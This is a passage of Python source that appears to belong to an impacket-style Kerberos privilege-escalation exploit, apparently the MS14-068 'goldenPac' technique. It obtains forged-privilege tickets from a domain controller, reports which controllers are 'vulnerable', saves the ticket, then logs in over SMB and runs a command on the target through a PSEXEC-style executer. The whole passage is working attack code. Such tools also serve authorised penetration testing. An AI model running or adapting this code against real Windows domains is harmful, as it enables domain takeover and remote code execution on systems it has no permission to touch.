                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)